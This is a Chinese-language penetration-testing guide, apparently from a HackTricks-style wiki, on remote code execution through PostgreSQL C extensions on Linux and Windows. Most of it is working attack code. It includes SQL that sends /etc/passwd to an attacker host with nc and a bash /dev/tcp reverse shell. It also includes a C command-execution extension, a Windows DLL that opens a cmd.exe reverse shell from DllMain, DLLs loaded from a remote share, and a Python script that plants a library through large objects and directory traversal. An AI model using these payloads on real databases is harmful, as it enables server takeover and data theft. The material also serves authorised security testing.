RCE with PostgreSQL Extensions

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PostgreSQL 扩展

PostgreSQL 的开发以可扩展性为核心特性，允许它无缝集成扩展，就像它们是内置功能一样。这些扩展，基本上是用 C 编写的库，丰富了数据库的附加功能、操作符或类型。

从 8.1 版本开始，对扩展库施加了特定要求：它们必须使用特殊头文件编译。没有这个，PostgreSQL 将不会执行它们，确保只使用兼容且可能安全的扩展。

此外，请记住 如果你不知道如何 利用 PostgreSQL 上传文件到受害者，你应该阅读这篇文章。

Linux 中的 RCE

更多信息请查看： https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

从 PostgreSQL 8.1 及更早版本执行系统命令的过程已经被清楚地记录，并且相对简单。可以使用这个：Metasploit 模块。

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;

从 base64 写入二进制文件

要在 postgres 中将二进制写入文件，您可能需要使用 base64，这对这个问题会很有帮助：

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

然而，当在更高版本上尝试时显示了以下错误：

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

这个错误在PostgreSQL文档中有解释：

为了确保动态加载的对象文件不会加载到不兼容的服务器中，PostgreSQL检查文件是否包含具有适当内容的“魔法块”。这使得服务器能够检测明显的不兼容性，例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始，魔法块是必需的。要包含魔法块，请在包含头文件fmgr.h之后，在模块源文件中的一个（且仅一个）位置写入：

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

自PostgreSQL 8.2版本以来，攻击者利用系统的过程变得更加具有挑战性。攻击者需要使用系统上已经存在的库，或者上传自定义库。这个自定义库必须针对兼容的PostgreSQL主要版本进行编译，并且必须包含特定的“魔法块”。这一措施显著增加了利用PostgreSQL系统的难度，因为它需要对系统的架构和版本兼容性有更深入的理解。

编译库

获取PostgreSQL版本：

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

为了兼容性，主要版本必须对齐。因此，使用9.6.x系列中的任何版本编译库应确保成功集成。

要在您的系统中安装该版本：

apt install postgresql postgresql-server-dev-9.6

并编译库：

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

然后上传编译好的库并使用以下命令执行：

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

您可以找到这个 库的预编译版本 适用于多个不同的 PostgreSQL 版本，甚至可以 自动化这个过程（如果您有 PostgreSQL 访问权限）：

GitHub - Dionach/pgexec: Script and resources to execute shell commands using access to a PostgreSQL serviceGitHub

Windows中的RCE

以下DLL以 二进制文件的名称 和您想要执行的 次数 作为输入并执行它：

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

您可以在此 zip 文件中找到编译的 DLL：

4KB

pgsql_exec.zip

archive

您可以指示此 DLL 要执行哪个二进制文件 以及执行的次数，在此示例中，它将执行 calc.exe 2 次：

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

在 这里 你可以找到这个反向 shell：

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

注意在这种情况下，恶意代码位于 DllMain 函数内部。这意味着在这种情况下，不需要在 postgresql 中执行加载的函数，只需加载 DLL 就会执行反向 shell：

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

The PolyUDF project 也是一个很好的起点，提供完整的 MS Visual Studio 项目和一个现成的库（包括：command eval、exec 和 cleanup）以及多版本支持。

最新 PostgreSQL 版本中的 RCE

在 最新版本 的 PostgreSQL 中，已施加限制，superuser 被禁止 从特定目录以外 加载 共享库文件，例如 Windows 上的 C:\Program Files\PostgreSQL\11\lib 或 *nix 系统上的 /var/lib/postgresql/11/lib。这些目录对 NETWORK_SERVICE 或 postgres 账户的写操作是 安全的。

尽管有这些限制，经过身份验证的数据库 superuser 仍然可以使用“大型对象” 将二进制文件写入 文件系统。此功能扩展到在 C:\Program Files\PostgreSQL\11\data 目录中写入，这对于更新或创建表等数据库操作至关重要。

一个显著的漏洞来自于 CREATE FUNCTION 命令，它 允许目录遍历 进入数据目录。因此，经过身份验证的攻击者可以 利用这种遍历 将共享库文件写入数据目录，然后 加载它。此漏洞使攻击者能够执行任意代码，实现系统上的本地代码执行。

攻击流程

首先，您需要 使用大型对象上传 dll。您可以在这里查看如何操作：

Big Binary Files Upload (PostgreSQL)

一旦您将扩展（在此示例中名为 poc.dll）上传到数据目录，您可以使用以下命令加载它：

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

注意，您不需要附加 .dll 扩展名，因为创建函数会自动添加它。

有关更多信息，请阅读原始出版物。 在该出版物中，这是用于生成 postgres 扩展的代码 (要了解如何编译 postgres 扩展，请阅读之前的任何版本). 在同一页面上，提供了自动化此技术的利用：

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

参考文献

• https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

• https://www.exploit-db.com/papers/13084

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